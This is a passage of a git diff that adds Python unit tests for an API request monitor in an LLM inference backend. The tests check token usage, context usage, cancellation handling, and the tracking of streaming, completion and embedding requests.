+        response = _drive(anthropic_messages(payload, request = self._Request(), current_subject = "t"))
+
+        assert monitor.active_count() == 1
+        self._consume_response(response)
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "completed"
+        assert entry["reply_preview"] == "ok"
+        assert entry["prompt_tokens"] == 2
+        assert entry["context_length"] == 2048
+        assert monitor.active_count() == 0
+
+    def test_plain_streaming_pre_response_cancel_finalizes_monitor(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        async def _cancelled_before_response(*_args, **_kwargs):
+            raise asyncio.CancelledError()
+
+        _mock_backend(monkeypatch, context_length = 2048)
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        monkeypatch.setattr(inf_mod, "_anthropic_plain_stream", _cancelled_before_response)
+        payload = _basic_payload(stream = True)
+
+        with pytest.raises(asyncio.CancelledError):
+            _drive(anthropic_messages(payload, request = self._Request(), current_subject = "t"))
+
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "cancelled"
+        assert monitor.active_count() == 0
+
     def test_mixed_server_and_client_tools_rejected_with_400(self, monkeypatch):
         _mock_backend(monkeypatch)
         payload = _basic_payload(
diff --git a/studio/backend/tests/test_api_monitor.py b/studio/backend/tests/test_api_monitor.py
new file mode 100644
index 0000000000..f0943cd76c
--- /dev/null
+++ b/studio/backend/tests/test_api_monitor.py
@@ -0,0 +1,222 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from core.inference.api_monitor import ApiMonitor, _trim
+
+
+def test_api_monitor_tracks_reply_usage_and_context():
+    monitor = ApiMonitor(max_entries = 3)
+
+    entry_id = monitor.start(
+        endpoint = "/v1/chat/completions",
+        method = "POST",
+        model = "local-model",
+        prompt = "user: hello",
+        context_length = 100,
+    )
+    monitor.append_reply(entry_id, "hi")
+    monitor.append_reply(entry_id, " there")
+    monitor.set_usage(
+        entry_id,
+        prompt_tokens = 4,
+        completion_tokens = 6,
+    )
+    monitor.finish(entry_id)
+
+    [entry] = monitor.snapshot()
+    assert entry["status"] == "completed"
+    assert entry["reply"] == "hi there"
+    assert entry["total_tokens"] == 10
+    assert entry["context_usage"] == 0.1
+    assert entry["duration_ms"] is not None
+
+
+def test_api_monitor_summary_omits_full_prompt_and_reply():
+    monitor = ApiMonitor(max_entries = 3)
+    entry_id = monitor.start(
+        endpoint = "/v1/chat/completions",
+        method = "POST",
+        model = "local-model",
+        prompt = "p" * 500,
+    )
+    monitor.set_reply(entry_id, "r" * 500)
+
+    [summary] = monitor.snapshot(include_details = False)
+    assert "prompt" not in summary
+    assert "reply" not in summary
+    assert summary["prompt_preview"].endswith("...")
+    assert summary["reply_preview"].endswith("...")
+    assert summary["prompt_truncated"] is True
+    assert summary["reply_truncated"] is True
+
+    detail = monitor.get(entry_id)
+    assert detail is not None
+    assert detail["prompt"] == "p" * 500
+    assert detail["reply"] == "r" * 500
+
+
+def test_api_monitor_filters_entries_by_subject():
+    monitor = ApiMonitor(max_entries = 3)
+    alice = monitor.start(
+        endpoint = "/v1/chat/completions",
+        method = "POST",
+        model = "m",
+        prompt = "alice prompt",
+        subject = "alice",
+    )
+    bob = monitor.start(
+        endpoint = "/v1/chat/completions",
+        method = "POST",
+        model = "m",
+        prompt = "bob prompt",
+        subject = "bob",
+    )
+    monitor.finish(bob)
+
+    alice_entries = monitor.snapshot(subject = "alice")
+    assert [entry["id"] for entry in alice_entries] == [alice]
+    assert monitor.get(bob, subject = "alice") is None
+    assert monitor.get(bob, subject = "bob")["id"] == bob
+    assert monitor.active_count(subject = "alice") == 1
+    assert monitor.active_count(subject = "bob") == 0
+
+
+def test_api_monitor_keeps_bounded_recent_history():
+    monitor = ApiMonitor(max_entries = 2)
+
+    first = monitor.start(
+        endpoint = "/v1/chat/completions",
+        method = "POST",
+        model = "m",
+        prompt = "first",
+    )
+    second = monitor.start(
+        endpoint = "/v1/chat/completions",
+        method = "POST",
+        model = "m",
+        prompt = "second",
+    )
+    third = monitor.start(
+        endpoint = "/v1/chat/completions",
+        method = "POST",
+        model = "m",
+        prompt = "third",
+    )
+    monitor.finish(first)
+    monitor.finish(second)
+    monitor.finish(third)
+
+    entries = monitor.snapshot()
+    ids = [entry["id"] for entry in entries]
+    assert ids[0] == third
+    assert [entry["prompt"] for entry in entries] == ["third", "second"]
+    assert first not in ids
+    assert monitor.active_count() == 0
+
+
+def test_api_monitor_keeps_running_entries_beyond_history_limit():
+    monitor = ApiMonitor(max_entries = 1)
+
+    running = monitor.start(
+        endpoint = "/v1/chat/completions",
+        method = "POST",
+        model = "m",
+        prompt = "running",
+    )
+    for prompt in ("done-1", "done-2", "done-3"):
+        entry_id = monitor.start(
+            endpoint = "/v1/chat/completions",
+            method = "POST",
+            model = "m",
+            prompt = prompt,
+        )
+        monitor.finish(entry_id)
+
+    entries = monitor.snapshot()
+    ids = [entry["id"] for entry in entries]
+    assert running in ids
+    assert monitor.active_count() == 1
+
+    monitor.finish(running)
+    [entry] = monitor.snapshot()
+    assert entry["id"] == running
+    assert entry["status"] == "completed"
+    assert monitor.active_count() == 0
+
+
+def test_api_monitor_finish_is_idempotent():
+    monitor = ApiMonitor(max_entries = 2)
+    entry_id = monitor.start(
+        endpoint = "/v1/chat/completions",
+        method = "POST",
+        model = "m",
+        prompt = "hi",
+    )
+    monitor.finish(entry_id)
+    first = monitor.snapshot()[0]
+    monitor.finish(entry_id)
+    second = monitor.snapshot()[0]
+    assert first["finished_at"] == second["finished_at"]
+    assert first["duration_ms"] == second["duration_ms"]
+
+
+def test_api_monitor_preserves_authoritative_total_tokens():
+    monitor = ApiMonitor(max_entries = 2)
+    entry_id = monitor.start(
+        endpoint = "/v1/chat/completions",
+        method = "POST",
+        model = "m",
+        prompt = "hi",
+    )
+    monitor.set_usage(
+        entry_id,
+        prompt_tokens = 10,
+        completion_tokens = 20,
+        total_tokens = 33,
+    )
+    # A later partial chunk omitting `total_tokens` must not clobber 33.
+    monitor.set_usage(entry_id, prompt_tokens = 11)
+    assert monitor.snapshot()[0]["total_tokens"] == 33
+
+
+def test_api_monitor_recomputes_derived_total_tokens():
+    monitor = ApiMonitor(max_entries = 2)
+    entry_id = monitor.start(
+        endpoint = "/v1/chat/completions",
+        method = "POST",
+        model = "m",
+        prompt = "hi",
+    )
+    monitor.set_usage(entry_id, prompt_tokens = 10)
+    assert monitor.snapshot()[0]["total_tokens"] == 10
+
+    monitor.set_usage(entry_id, completion_tokens = 20)
+    entry = monitor.snapshot()[0]
+    assert entry["prompt_tokens"] == 10
+    assert entry["completion_tokens"] == 20
+    assert entry["total_tokens"] == 30
+
+
+def test_api_monitor_duration_non_negative_under_clock_step(monkeypatch):
+    import core.inference.api_monitor as m
+
+    fake_now = [1000.0]
+    monkeypatch.setattr(m.time, "time", lambda: fake_now[0])
+    monitor = ApiMonitor(max_entries = 1)
+    entry_id = monitor.start(
+        endpoint = "/x",
+        method = "POST",
+        model = "m",
+        prompt = "hi",
+    )
+    fake_now[0] = 500.0
+    monitor.finish(entry_id)
+    assert monitor.snapshot()[0]["duration_ms"] >= 0
+
+
+def test_api_monitor_trim_guards_tiny_limit():
+    assert _trim("abcdefgh", 2) == ".."
+    assert _trim("abcdefgh", 0) == ""
+    assert _trim("abcdefgh", 3) == "..."
+    assert _trim("abcdefgh", 4) == "a..."
+    assert _trim("abcdefgh", 100) == "abcdefgh"
diff --git a/studio/backend/tests/test_offline_gguf_cache_fallback.py b/studio/backend/tests/test_offline_gguf_cache_fallback.py
index c00e98ad7e..a2a505f479 100644
--- a/studio/backend/tests/test_offline_gguf_cache_fallback.py
+++ b/studio/backend/tests/test_offline_gguf_cache_fallback.py
@@ -209,10 +209,10 @@ class TestGgufVariantFileResolution:
             return [_types.SimpleNamespace(path = path, size = 1) for path in paths if path is not None]
 
         def fake_download(
-            *,
             repo_id,
             filename,
             token = None,
+            **_kwargs,
         ):
             downloaded.append(filename)
             return f"/fake/{repo_id}/{filename}"
@@ -229,7 +229,7 @@ class TestGgufVariantFileResolution:
             ),
             patch("huggingface_hub.get_paths_info", fake_get_paths_info),
             patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
-            patch("huggingface_hub.hf_hub_download", fake_download),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download),
         ):
             out = backend._download_gguf(
                 hf_repo = "ggml-org/models",
@@ -256,10 +256,10 @@ class TestGgufVariantFileResolution:
             return [_types.SimpleNamespace(path = path, size = 1) for path in paths if path is not None]
 
         def fake_download(
-            *,
             repo_id,
             filename,
             token = None,
+            **_kwargs,
         ):
             downloaded.append(filename)
             return f"/fake/{repo_id}/{filename}"
@@ -269,7 +269,7 @@ class TestGgufVariantFileResolution:
             patch("huggingface_hub.list_repo_files", lambda *_a, **_k: files),
             patch("huggingface_hub.get_paths_info", fake_get_paths_info),
             patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
-            patch("huggingface_hub.hf_hub_download", fake_download),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download),
         ):
             out = backend._download_gguf(
                 hf_repo = "org/repo",
diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py
index b2b22f8934..8442d05cdc 100644
--- a/studio/backend/tests/test_openai_tool_passthrough.py
+++ b/studio/backend/tests/test_openai_tool_passthrough.py
@@ -7,6 +7,7 @@ import os
 import sys
 import asyncio
 import json
+import threading
 from types import SimpleNamespace
 
 _backend = os.path.join(os.path.dirname(__file__), "..")
@@ -27,20 +28,29 @@ from models.inference import (
 from core.inference.anthropic_compat import (
     anthropic_tool_choice_to_openai,
 )
+from core.inference.api_monitor import ApiMonitor
 from routes.inference import (
     _build_chat_request,
     _build_openai_passthrough_body,
     _build_passthrough_payload,
     _clamp_finish_reason,
+    _cmpl_stream_event_out,
     _coalesce_consecutive_user_turns,
     _drop_empty_assistant_sentinels,
     _effective_max_tokens,
     _extract_content_parts,
     _friendly_error,
     _merge_user_content,
+    _monitor_openai_chunk,
+    _monitor_openai_sse_event,
     _openai_messages_for_gguf_chat,
+    _openai_passthrough_non_streaming,
+    _openai_passthrough_stream,
     _openai_stream_usage_chunk,
+    _proxy_to_external_provider,
     _set_or_prepend_system_message,
+    openai_completions,
+    openai_embeddings,
     openai_chat_completions,
 )
 from state.tool_policy import reset_tool_policy
@@ -325,7 +335,8 @@ class TestChatCompletionRequestToolFields:
 
         captured = {}
 
-        async def _fake_proxy(payload, request):
+        async def _fake_proxy(payload, request, current_subject):
+            assert current_subject == "test-user"
             captured["stream"] = payload.stream
             return JSONResponse({"choices": [], "object": "chat.completion"})
 
@@ -460,6 +471,7 @@ class TestChatCompletionRequestToolFields:
             supports_tools = False
             is_vision = False
             _is_audio = False
+            context_length = 4096
 
         client = self._v1_client(monkeypatch, _GGUFBackend())
         resp = client.post(
@@ -473,13 +485,18 @@ class TestChatCompletionRequestToolFields:
         self._assert_unsupported_n(resp)
 
     def test_n_rejected_for_gguf_tools_passthrough_path(self, monkeypatch):
+        import routes.inference as inference_route
+
         class _GGUFBackend:
             is_loaded = True
             model_identifier = "test-gguf"
             supports_tools = True
             is_vision = False
             _is_audio = False
+            context_length = 4096
 
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inference_route, "api_monitor", monitor)
         client = self._v1_client(monkeypatch, _GGUFBackend())
         resp = client.post(
             "/v1/chat/completions",
@@ -498,6 +515,10 @@ class TestChatCompletionRequestToolFields:
             },
         )
         self._assert_unsupported_n(resp)
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "error"
+        assert "n > 1 is not supported" in entry["error"]
+        assert monitor.active_count() == 0
 
     def test_n_rejected_for_non_gguf_path(self, monkeypatch):
         class _NoGGUFBackend:
@@ -540,6 +561,8 @@ class TestChatCompletionRequestToolFields:
             "_detect_safetensors_features",
             lambda backend, chat_template: {"supports_tools": True},
         )
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inference_route, "api_monitor", monitor)
         client = self._v1_client(monkeypatch, _NoGGUFBackend(), _InferenceBackend())
         resp = client.post(
             "/v1/chat/completions",
@@ -556,6 +579,10 @@ class TestChatCompletionRequestToolFields:
         body = resp.json()
         assert body["error"]["param"] == "confirm_tool_calls"
         assert "requires stream=true" in body["error"]["message"]
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "error"
+        assert "confirm_tool_calls requires stream=true" in entry["error"]
+        assert monitor.active_count() == 0
 
     def test_multiturn_tool_loop_messages(self):
         req = ChatCompletionRequest(
@@ -887,6 +914,35 @@ class TestOpenAICompatibilityHelpers:
         assert usage["completion_tokens"] == 7
         assert usage["total_tokens"] == 7
 
+    def test_completion_stream_monitor_reads_usage_before_client_strip(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        monitor_id = monitor.start(
+            endpoint = "/v1/completions",
+            method = "POST",
+            model = "m",
+            prompt = "hi",
+            context_length = 100,
+        )
+        event = (
+            b'data: {"id":"chatcmpl-test","choices":[{"text":"done","finish_reason":"stop"}],'
+            b'"usage":{"prompt_tokens":4,"completion_tokens":6,"total_tokens":10}}\n'
+        )
+
+        _monitor_openai_sse_event(monitor_id, event, context_length = 100)
+        out = _cmpl_stream_event_out(event, include_usage = False)
+
+        assert out is not None
+        assert b'"usage"' not in out
+        [entry] = monitor.snapshot()
+        assert entry["reply"] == "done"
+        assert entry["prompt_tokens"] == 4
+        assert entry["completion_tokens"] == 6
+        assert entry["total_tokens"] == 10
+        assert entry["context_usage"] == 0.1
+
     def test_developer_message_preserves_existing_system_prompt(self):
         payload = ChatCompletionRequest(
             messages = [
@@ -1168,6 +1224,10 @@ class TestGgufVisionMessages:
 
 class TestGgufVisionToolRouting:
     class _Request:
+        state = SimpleNamespace()
+        url = SimpleNamespace(path = "/v1/chat/completions")
+        method = "POST"
+
         async def is_disconnected(self):
             return False
 
@@ -1203,9 +1263,12 @@ class TestGgufVisionToolRouting:
             is_vision = True,
             supports_tools = True,
             model_identifier = "gemma-4-12b-it-GGUF",
+            context_length = 4096,
             generate_chat_completion = _plain,
             generate_chat_completion_with_tools = _tools,
         )
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
         monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
 
         payload = ChatCompletionRequest(
@@ -1258,9 +1321,12 @@ class TestGgufVisionToolRouting:
             is_vision = False,
             supports_tools = True,
             model_identifier = "test-gguf",
+            context_length = 4096,
             generate_chat_completion = _plain,
             generate_chat_completion_with_tools = _tools,
         )
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
         monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
 
         payload = ChatCompletionRequest(
@@ -1292,10 +1358,13 @@ class TestGgufVisionToolRouting:
             is_vision = False,
             supports_tools = True,
             model_identifier = "test-gguf",
+            context_length = 4096,
             generate_chat_completion = _plain,
             generate_chat_completion_with_tools = _tools,
         )
         monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
 
         payload = ChatCompletionRequest(
             model = "default",
@@ -1316,6 +1385,62 @@ class TestGgufVisionToolRouting:
             )
         assert exc.value.status_code == 400
         assert "requires stream=true" in exc.value.detail["error"]["message"]
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "error"
+        assert "confirm_tool_calls requires stream=true" in entry["error"]
+        assert monitor.active_count() == 0
+
+    def test_non_streaming_gguf_n_records_all_monitor_replies(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        calls = {"count": 0}
+
+        def _generate(**_kwargs):
+            calls["count"] += 1
+            text = f"reply {calls['count']}"
+            yield text
+            yield {
+                "type": "metadata",
+                "usage": {
+                    "prompt_tokens": 3,
+                    "completion_tokens": calls["count"],
+                    "total_tokens": 3 + calls["count"],
+                },
+            }
+
+        backend = SimpleNamespace(
+            is_loaded = True,
+            is_vision = False,
+            supports_tools = False,
+            _is_audio = False,
+            model_identifier = "test-gguf",
+            context_length = 4096,
+            generate_chat_completion = _generate,
+        )
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+        payload = ChatCompletionRequest(
+            model = "default",
+            n = 2,
+            messages = [{"role": "user", "content": "two please"}],
+        )
+
+        response = self._drive(
+            openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+        )
+        body = json.loads(response.body)
+
+        assert [c["message"]["content"] for c in body["choices"]] == ["reply 1", "reply 2"]
+        [entry] = monitor.snapshot()
+        assert entry["reply"] == "Choice 1:\nreply 1\n\nChoice 2:\nreply 2"
+        assert entry["completion_tokens"] == 3
+        assert monitor.active_count() == 0
 
     def test_standard_gguf_merges_system_and_developer_messages(self, monkeypatch):
         import routes.inference as inf_mod
@@ -1336,6 +1461,7 @@ class TestGgufVisionToolRouting:
             is_vision = False,
             supports_tools = False,
             model_identifier = "test-gguf",
+            context_length = 4096,
             generate_chat_completion = _generate,
         )
         monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
@@ -1369,6 +1495,8 @@ class TestGgufVisionToolRouting:
         import routes.inference as inf_mod
 
         seen_seeds = []
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
 
         def _generate(**kwargs):
             seen_seeds.append(kwargs.get("seed"))
@@ -1388,6 +1516,7 @@ class TestGgufVisionToolRouting:
             is_vision = False,
             supports_tools = False,
             model_identifier = "test-gguf",
+            context_length = 4096,
             generate_chat_completion = _generate,
         )
         monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
@@ -1406,6 +1535,1081 @@ class TestGgufVisionToolRouting:
 
         assert seen_seeds == expected
         assert [choice["index"] for choice in body["choices"]] == [0, 1, 2]
+        assert body["usage"]["prompt_tokens"] == 5
+        assert body["usage"]["completion_tokens"] == 21
+        [entry] = monitor.snapshot()
+        assert entry["prompt_tokens"] == 5
+        assert entry["completion_tokens"] == 21
+        assert entry["total_tokens"] == 26
+
+
+class TestApiMonitorProviderAndCompletionStreams:
+    class _Request:
+        state = SimpleNamespace()
+        url = SimpleNamespace(path = "/v1/chat/completions")
+        method = "POST"
+
+        async def is_disconnected(self):
+            return False
+
+    def test_external_non_streaming_json_updates_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class DummyExternalClient:
+                def __init__(self, **_kwargs):
+                    pass
+
+                async def stream_chat_completion(self, **kwargs):
+                    assert kwargs["stream"] is False
+                    yield json.dumps(
+                        {
+                            "choices": [{"message": {"content": "provider [DONE] reply"}}],
+                            "usage": {
+                                "prompt_tokens": 3,
+                                "completion_tokens": 4,
+                                "total_tokens": 7,
+                            },
+                        }
+                    )
+
+                async def close(self):
+                    pass
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "ExternalProviderClient", DummyExternalClient)
+            payload = ChatCompletionRequest(
+                model = "default",
+                external_model = "gpt-test",
+                provider_type = "openai",
+                provider_base_url = "https://api.openai.com/v1",
+                messages = [ChatMessage(role = "user", content = "hi")],
+            )
+
+            response = await _proxy_to_external_provider(payload, self._Request())
+            chunks = []
+            async for chunk in response.body_iterator:
+                chunks.append(chunk)
+
+            assert chunks[-1] == "data: [DONE]\n\n"
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+            assert entry["reply"] == "provider [DONE] reply"
+            assert entry["prompt_tokens"] == 3
+            assert entry["completion_tokens"] == 4
+            assert entry["total_tokens"] == 7
+
+        asyncio.run(_run())
+
+    def test_external_stream_cancel_finalizes_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class DummyExternalClient:
+                def __init__(self, **_kwargs):
+                    pass
+
+                async def stream_chat_completion(self, **_kwargs):
+                    yield 'data: {"choices":[{"delta":{"content":"hello"}}]}'
+                    await asyncio.sleep(3600)
+
+                async def close(self):
+                    pass
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "ExternalProviderClient", DummyExternalClient)
+            payload = ChatCompletionRequest(
+                model = "default",
+                external_model = "gpt-test",
+                provider_type = "openai",
+                provider_base_url = "https://api.openai.com/v1",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+
+            response = await _proxy_to_external_provider(payload, self._Request())
+            iterator = response.body_iterator
+            first = await anext(iterator)
+            assert "hello" in first
+
+            pending = asyncio.create_task(anext(iterator))
+            await asyncio.sleep(0)
+            pending.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await pending
+
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert entry["reply"] == "hello"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_completions_preheader_cancel_finalizes_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                state = SimpleNamespace()
+                url = SimpleNamespace(path = "/v1/completions")
+                method = "POST"
+
+                async def json(self):
+                    return {"prompt": "hi", "stream": True}
+
+                async def is_disconnected(self):
+                    return False
+
+            async def fake_send(*_args, **_kwargs):
+                return None
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = True,
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    model_identifier = "gguf",
+                ),
+            )
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            response = await openai_completions(Request(), current_subject = "test")
+            chunks = []
+            async for chunk in response.body_iterator:
+                chunks.append(chunk)
+
+            assert chunks == []
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_completions_stream_cancel_finalizes_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                state = SimpleNamespace()
+                url = SimpleNamespace(path = "/v1/completions")
+                method = "POST"
+
+                async def json(self):
+                    return {"prompt": "hi", "stream": True}
+
+                async def is_disconnected(self):
+                    return False
+
+            async def fake_send(*_args, **_kwargs):
+                return httpx.Response(200, content = b"")
+
+            async def fake_items(*_args, **_kwargs):
+                yield b'data: {"choices":[{"text":"hello"}]}\n\n'
+                await asyncio.sleep(3600)
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = True,
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    model_identifier = "gguf",
+                ),
+            )
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+
+            response = await openai_completions(Request(), current_subject = "test")
+            iterator = response.body_iterator
+            first = await anext(iterator)
+            assert b"hello" in first
+
+            pending = asyncio.create_task(anext(iterator))
+            await asyncio.sleep(0)
+            pending.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await pending
+
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert entry["reply"] == "hello"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_completions_non_streaming_post_error_finalizes_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                state = SimpleNamespace()
+                url = SimpleNamespace(path = "/v1/completions")
+                method = "POST"
+
+                async def json(self):
+                    return {"prompt": "hi", "stream": False}
+
+            class FailingAsyncClient:
+                async def __aenter__(self):
+                    return self
+
+                async def __aexit__(self, *_args):
+                    return False
+
+                async def post(self, *_args, **_kwargs):
+                    raise httpx.ConnectError("llama down")
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod.httpx,
+                "AsyncClient",
+                lambda *args, **kwargs: FailingAsyncClient(),
+            )
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = True,
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    model_identifier = "gguf",
+                ),
+            )
+
+            with pytest.raises(httpx.ConnectError):
+                await openai_completions(Request(), current_subject = "test")
+
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "error"
+            assert "Lost connection to the model server" in entry["error"]
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_monitor_openai_chunk_records_all_choice_replies(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        monitor_id = monitor.start(
+            endpoint = "/v1/completions",
+            method = "POST",
+            model = "gguf",
+            prompt = "hi",
+        )
+
+        _monitor_openai_chunk(
+            monitor_id,
+            {
+                "choices": [
+                    {"text": "first"},
+                    {"text": "second"},
+                ],
+                "usage": {
+                    "prompt_tokens": 2,
+                    "completion_tokens": 5,
+                    "total_tokens": 7,
+                },
+            },
+            4096,
+        )
+
+        entry = monitor.get(monitor_id)
+        assert entry["reply"] == "Choice 1:\nfirst\n\nChoice 2:\nsecond"
+        assert entry["prompt_tokens"] == 2
+        assert entry["completion_tokens"] == 5
+        assert entry["context_length"] == 4096
+
+    def test_monitor_openai_chunk_records_tool_call_reply(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        monitor_id = monitor.start(
+            endpoint = "/v1/chat/completions",
+            method = "POST",
+            model = "gguf",
+            prompt = "hi",
+        )
+
+        _monitor_openai_chunk(
+            monitor_id,
+            {
+                "choices": [
+                    {
+                        "message": {
+                            "tool_calls": [
+                                {
+                                    "type": "function",
+                                    "function": {
+                                        "name": "lookup",
+                                        "arguments": '{"query":"weather"}',
+                                    },
+                                }
+                            ]
+                        }
+                    }
+                ]
+            },
+            4096,
+        )
+
+        entry = monitor.get(monitor_id)
+        assert entry["reply"] == 'Tool call: lookup({"query":"weather"})'
+
+    def test_embeddings_request_is_counted_active_and_completed(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                state = SimpleNamespace()
+                url = SimpleNamespace(path = "/v1/embeddings")
+                method = "POST"
+
+                async def json(self):
+                    return {"input": ["alpha", "beta"], "model": "embed"}
+
+            class FakeAsyncClient:
+                async def __aenter__(self):
+                    return self
+
+                async def __aexit__(self, *_args):
+                    return False
+
+                async def post(self, *_args, **_kwargs):
+                    assert monitor.active_count() == 1
+                    return httpx.Response(
+                        200,
+                        json = {
+                            "data": [{"embedding": [0.1]}],
+                            "usage": {"prompt_tokens": 4, "total_tokens": 4},
+                        },
+                    )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod.httpx,
+                "AsyncClient",
+                lambda *args, **kwargs: FakeAsyncClient(),
+            )
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = True,
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    model_identifier = "gguf",
+                ),
+            )
+
+            response = await openai_embeddings(Request(), current_subject = "test")
+
+            assert response.status_code == 200
+            [entry] = monitor.snapshot()
+            assert entry["endpoint"] == "/v1/embeddings"
+            assert entry["status"] == "completed"
+            assert entry["prompt_preview"] == "alpha\nbeta"
+            assert entry["prompt_tokens"] == 4
+            assert entry["total_tokens"] == 4
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_task_cancel_finalizes_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            async def fake_send(*_args, **_kwargs):
+                return httpx.Response(200, content = b"")
+
+            async def fake_items(*_args, **_kwargs):
+                yield 'data: {"choices":[{"delta":{"content":"hello"}}]}'
+                await asyncio.sleep(3600)
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
